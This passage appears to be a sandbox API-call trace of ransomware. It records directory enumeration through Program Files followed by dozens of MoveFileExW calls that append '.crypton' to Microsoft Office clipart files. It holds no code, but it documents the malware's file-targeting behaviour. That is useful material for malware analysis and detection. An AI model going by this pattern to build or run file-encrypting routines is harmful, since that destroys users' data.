lpFileName="C:\\\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xab86b660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab86b660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x549750 [0077.464] GetFileType (hFile=0x1f4) returned 0x1 [0077.469] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8917c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab8917c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x549790 [0077.469] GetFileType (hFile=0x1f0) returned 0x1 [0077.473] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8917c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab8917c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x549750 [0077.478] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8917c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab8917c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0077.483] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8b7920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab8b7920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.483] GetFileType (hFile=0x198) returned 0x1 [0077.488] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8b7920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab8b7920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.492] GetFileType (hFile=0x174) returned 0x1 [0077.497] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8dda80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab8dda80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0077.498] GetFileType (hFile=0x1f4) returned 0x1 [0077.499] GetFileType (hFile=0x1f4) returned 0x1 [0077.503] GetFileType (hFile=0x1f4) returned 0x1 [0077.504] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8dda80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab8dda80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x549790 [0077.506] GetFileType (hFile=0x1f0) returned 0x1 [0077.512] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab903be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab903be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x549750 [0077.518] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab903be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab903be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0077.526] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.crypton"), dwFlags=0x2) returned 1 [0077.533] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.crypton"), dwFlags=0x2) returned 1 [0077.543] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.crypton"), dwFlags=0x2) returned 1 [0077.549] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.crypton"), dwFlags=0x2) returned 1 [0077.553] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.crypton"), dwFlags=0x2) returned 1 [0077.561] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.crypton"), dwFlags=0x2) returned 1 [0077.568] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.crypton"), dwFlags=0x2) returned 1 [0077.577] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.crypton"), dwFlags=0x2) returned 1 [0077.580] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.crypton"), dwFlags=0x2) returned 1 [0077.582] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.crypton"), dwFlags=0x2) returned 1 [0077.677] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.crypton"), dwFlags=0x2) returned 1 [0077.681] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.crypton"), dwFlags=0x2) returned 1 [0077.685] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.crypton"), dwFlags=0x2) returned 1 [0077.695] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.crypton"), dwFlags=0x2) returned 1 [0077.700] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.crypton"), dwFlags=0x2) returned 1 [0077.704] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.crypton"), dwFlags=0x2) returned 1 [0077.731] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.crypton"), dwFlags=0x2) returned 1 [0077.755] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.crypton"), dwFlags=0x2) returned 1 [0077.760] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.crypton"), dwFlags=0x2) returned 1 [0077.769] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.crypton"), dwFlags=0x2) returned 1 [0077.774] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.crypton"), dwFlags=0x2) returned 1 [0077.777] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.crypton"), dwFlags=0x2) returned 1 [0077.831] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.crypton"), dwFlags=0x2) returned 1 [0077.845] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.crypton"), dwFlags=0x2) returned 1 [0077.892] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.crypton"), dwFlags=0x2) returned 1 [0077.901] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.crypton"), dwFlags=0x2) returned 1 [0077.907] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.crypton"), dwFlags=0x2) returned 1 [0077.912] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.crypton"), dwFlags=0x2) returned 1 [0077.919] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.crypton"), dwFlags=0x2) returned 1 [0077.924] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.crypton"), dwFlags=0x2) returned 1 [0077.929] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.crypton"), dwFlags=0x2) returned 1 [0077.933] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.crypton"), dwFlags=0x2) returned 1 [0077.937] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.crypton"), dwFlags=0x2) returned 1 [0077.943] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.crypton"), dwFlags=0x2) returned 1 [0077.954] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.crypton"), dwFlags=0x2) returned 1 [0077.964] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.crypton"), dwFlags=0x2) returned 1 [0077.979] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.crypton"), dwFlags=0x2) returned 1 [0077.993] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.crypton"), dwFlags=0x2) returned 1 [0078.003] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.crypton"), dwFlags=0x2) returned 1 [0078.026] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.crypton"), dwFlags=0x2) returned 1 [0078.034] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.crypton"), dwFlags=0x2) returned 1 [0078.041] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.crypton"), dwFlags=0x2) returned 1 [0078.051] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.crypton"), dwFlags=0x2) returned 1 [0078.058] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.crypton"), dwFlags=0x2) returned 1 [0078.070] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.crypton"), dwFlags=0x2) returned 1 [0078.078] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.crypton"), dwFlags=0x2) returned 1 [0078.086] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.crypton"), dwFlags=0x2) returned 1 [0078.093] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.crypton"), dwFlags=0x2) returned 1 [0078.101] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.crypton"), 